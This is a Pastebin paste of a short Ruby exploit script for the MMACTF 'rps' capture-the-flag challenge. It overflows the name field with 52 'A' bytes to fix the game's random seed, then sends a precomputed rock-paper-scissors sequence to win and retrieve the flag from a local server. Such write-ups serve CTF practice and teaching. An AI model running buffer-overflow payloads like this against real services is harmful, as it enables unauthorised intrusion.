Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #coding: ascii-8bit
- # MMACTF1st rps
- # https://github.com/Charo-IT/pwnlib.git
- require_relative "../pwnlib.rb"
- PwnTube.open("localhost", 25252) do |tube|
- # Using buffalo overflow, I set an initial seed in AAAA. :)
- payload = "A" * 52 + "\n"
- puts tube.recv_until("What's your name: ")
- tube.send(payload)
- payload = "RRSPSRPRRPSSRSPPPSPRRRPRPSSRPSSRPPSPPSPRRSPRSSPSPSP\n"
- tube.send(payload)
- puts tube.recv
- #puts tube.recv_capture(/(MMA{[a-zA-Z0-9_]+})/)
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement